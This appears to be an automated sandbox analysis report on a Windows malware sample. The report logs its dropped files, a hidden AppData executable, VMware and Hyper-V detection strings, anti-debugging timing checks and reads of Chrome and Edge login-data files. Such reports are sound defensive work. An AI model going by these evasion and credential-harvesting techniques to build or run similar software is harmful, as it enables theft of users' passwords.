Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_100011E0 rdtsc

0_2_100011E0

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)			graph_0-39974
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)			graph_10-211

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsclients.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libxcb-glx-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xrdb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\dwm_w32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXfont-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libSM-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\MoTTYnew.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.3.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXt-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libfontenc-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libX11-xcb-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\jwm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\evb5021.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsatoms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libGL-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xlsfonts.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\OpenX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xprop.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xhost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmuu-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\twm_w32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libnativeGLthunk.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xmodmap.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXmu-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.8.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\setxkbmap.exe	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libXext-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Mxt242\bin\libICE-6.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

API coverage: 7.9 %

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Key opened: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Keyboard Layouts\00000807

Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_1022C220 memset,GetSystemInfo,

0_2_1022C220

Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.000000000185D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}a
Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.000000000185D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.000000000185D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}
Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: si#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}8b}8b}eos>
Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.00000000018D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: T2dvU8f2xg.exe, 00000000.00000002.4065622099.000000000185D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}n
Source: T2dvU8f2xg.exe, 00000000.00000002.4087988844.0000000007FCC000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: Hyper-V Administrators:S-1-5-32-578:578:

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Potentially malicious time measurement code found

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_100013D0		0_2_100013D0
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_10001440		0_2_10001440

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_100011E0 rdtsc

0_2_100011E0

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_102A1C2B IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_102A1C2B

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_10262960 GetModuleHandleW,GetProcAddress,wcspbrk,LoadLibraryW,GetProcAddress,GetSystemDirectoryW,GetSystemDirectoryW,LoadLibraryW,

0_2_10262960

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_102A1C2B IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_102A1C2B
Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Code function: 0_2_102A0DF2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_102A0DF2
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_00401179 Sleep,Sleep,SetUnhandledExceptionFilter,_acmdln,malloc,strlen,malloc,memcpy,__initenv,main,_cexit,_amsg_exit,_initterm,GetStartupInfoA,_initterm,exit,	13_2_00401179

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe "C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe" -silent-dup-error -notrayicon -nolisten inet6 -hostintitle +bs -clipboard -nowgl -multiwindow -noreset :0

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "c:\users\user\appdata\local\temp\mxt242\bin\xkbcomp_w32.exe" -w 1 "-rc:\users\user\appdata\local\temp\mxt242\usr\share\x11\xkb" -xkm "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\xkb_a01488" -em1 "the xkeyboard keymap compiler (xkbcomp) reports:" -emp "> " -eml "errors from xkbcomp are not fatal to the x server" "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\server-0.xkm"
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "c:\users\user\appdata\local\temp\mxt242\bin\xkbcomp_w32.exe" -w 1 "-rc:\users\user\appdata\local\temp\mxt242\usr\share\x11\xkb" -xkm "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\xkb_a01488" -em1 "the xkeyboard keymap compiler (xkbcomp) reports:" -emp "> " -eml "errors from xkbcomp are not fatal to the x server" "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\server-0.xkm"
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "c:\users\user\appdata\local\temp\mxt242\bin\xkbcomp_w32.exe" -w 1 "-rc:\users\user\appdata\local\temp\mxt242\usr\share\x11\xkb" -xkm "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\xkb_a01488" -em1 "the xkeyboard keymap compiler (xkbcomp) reports:" -emp "> " -eml "errors from xkbcomp are not fatal to the x server" "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\server-0.xkm"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Process created: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe "c:\users\user\appdata\local\temp\mxt242\bin\xkbcomp_w32.exe" -w 1 "-rc:\users\user\appdata\local\temp\mxt242\usr\share\x11\xkb" -xkm "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\xkb_a01488" -em1 "the xkeyboard keymap compiler (xkbcomp) reports:" -emp "> " -eml "errors from xkbcomp are not fatal to the x server" "c:\users\user\appdata\local\temp\mxt242\var\log\xwin\server-0.xkm"	Jump to behavior

Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCBCC000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2223269819.0000000009710000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: T2dvU8f2xg.exe, 00000000.00000003.2225168939.0000000008AE2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCBCC000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: progman
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCBCC000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2222714097.0000000008808000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndS
Source: T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCBCC000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2223269819.0000000009710000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWndReBarWindow32MSTaskSwWClassToolbarWindow32SV
Source: T2dvU8f2xg.exe, 00000000.00000003.2225168939.0000000008AE2000.00000004.00000020.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2300691181.00000000FDAD0000.00000004.00001000.00020000.00000000.sdmp, T2dvU8f2xg.exe, 00000000.00000003.2310830633.00000000FCBCC000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: shell_traywnd

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_10001000 cpuid

0_2_10001000

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\browser_data1051732173 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Mxt242\var\log\xwin\browser_data4055608411 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	Queries volume information: C:\Users VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\XKeysymDB VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\xkbcomp_w32.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\XKeysymDB VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: 0_2_102A1B58 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_102A1B58

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

Code function: 13_2_0040BB1D winOS,GetVersionExA,GetSystemMetrics,ErrorF,

13_2_0040BB1D

Source: T2dvU8f2xg.exe

Binary or memory string: 360tray.exe

Stealing of Sensitive Information

Contains functionality to steal Chrome passwords or cookies

Source: C:\Users\user\Desktop\T2dvU8f2xg.exe

Code function: %ls\Google\Chrome\User Data\Default\Login Data

0_2_1004B53B

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	File opened: C:\Users\Default User\AppData\Local\Google\Chrome\User Data\Default\Bookmarks	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	File opened: C:\Users\desktop.ini\AppData\Local\Google\Chrome\User Data\Default\Bookmarks	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Bookmarks	Jump to behavior
Source: C:\Users\user\AppData\Roaming\MyHiddenAppDataDir\MobServe.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Source: Yara match

File source: T2dvU8f2xg.exe, type: SAMPLE

Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005AC499 ProcessCommandLine,_XSERVTransNoListen,ErrorF,ddxProcessArgument,ErrorF,UseMsg,FatalError,strcmp,atoi,UseMsg,strcmp,strcmp,atoi,UseMsg,strcmp,InitAuthorization,UseMsg,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,atoi,UseMsg,strcmp,strcmp,atoi,UseMsg,strcmp,strcmp,strcmp,atoi,UseMsg,strcmp,atoi,UseMsg,strcmp,xfont2_parse_glyph_caching_mode,UseMsg,strcmp,atoi,UseMsg,strcmp,atoi,FatalError,UseMsg,strcmp,UseMsg,strcmp,UseMsg,exit,strcmp,strcmp,XkbProcessArguments,UseMsg,strcmp,strcmp,strcmp,atoi,FatalError,UseMsg,strcmp,UseMsg,strcmp,_XSERVTransListen,ErrorF,UseMsg,strcmp,strcmp,strcmp,atoi,UseMsg,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,atoi,UseMsg,strcmp,UseMsg,strcmp,atoi,UseMsg,strcmp,atoi,strcmp,strcmp,strcmp,strcmp,strcmp,strcmp,UseMsg,strcmp,atol,UseMsg,UseMsg,strcmp,strcmp,strcmp,strcmp,strncmp,XdmcpOptions,strcmp,strcmp,atoi,UseMsg,strcmp,atoi,UseMsg,strcmp,PictureParseCmapPolicy,UseMsg,UseMsg,strcmp,strcmp,EnableDisableExtension,EnableDisableExtensionError,UseMsg,strcmp,strcmp,EnableDisableExtension,EnableDisableExtensionError,UseMsg,ErrorF,	13_2_005AC499
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005AAD53 FlushClient,_errno,_XSERVTransWritev,_errno,_errno,_errno,memmove,realloc,MarkClientException,memmove,ospoll_listen,_errno,MarkClientException,free,free,	13_2_005AAD53
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005A95B0 SetNotifyFd,ospoll_data,calloc,ospoll_add,ospoll_remove,free,ospoll_listen,ospoll_mute,	13_2_005A95B0
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_004DC120 XkbIndicatorsToUpdate,XkbFindSrvLedInfo,	13_2_004DC120
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_0041A4E3 winGetDisplayName,_XSERVTransIsListening,ErrorF,winDebug,	13_2_0041A4E3
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005B06A0 _XSERVTransNoListen,_XSERVTransNoListen,	13_2_005B06A0
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005B074C _XSERVTransListen,_XSERVTransListen,	13_2_005B074C
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_0057A763 TouchListenerGone,GetMaximumEventsNum,InitEventList,FatalError,ResourceClientBits,ResourceClientBits,GetTouchOwnershipEvents,mieqProcessDeviceEvent,GetMaximumEventsNum,FreeEventList,	13_2_0057A763
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005B07F8 _XSERVTransIsListening,	13_2_005B07F8
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005B0847 _XSERVTransResetListener,	13_2_005B0847
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005A8811 ResetWellKnownSockets,ResetOsBuffers,_XSERVTransResetListener,_XSERVTransGetConnectionNumber,SetNotifyFd,ResetAuthorization,ResetHosts,XdmcpReset,	13_2_005A8811
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005AA823 ResetCurrentRequest,listen_to_client,mark_client_ready,	13_2_005AA823
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_004E32BE XkbComputeDerivedState,XkbStateChangedFlags,XkbSendStateNotify,XkbIndicatorsToUpdate,XkbUpdateIndicators,	13_2_004E32BE
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_0042F5A6 glBindTexture,glXGetProcAddressARB,	13_2_0042F5A6
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005B373A _XSERVTransListen,	13_2_005B373A
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005A97A5 AttendClient,listen_to_client,mark_client_ready,mark_client_saved_ready,	13_2_005A97A5
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_00563898 GestureListenerGone,GetMaximumEventsNum,InitEventList,FatalError,ResourceClientBits,ResourceClientBits,GestureEndGesture,GetMaximumEventsNum,FreeEventList,	13_2_00563898
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005A9BF2 listen_to_client,ospoll_listen,ospoll_mute,	13_2_005A9BF2
Source: C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe	Code function: 13_2_005A9B8A listen_to_client,	13_2_005A9B8A
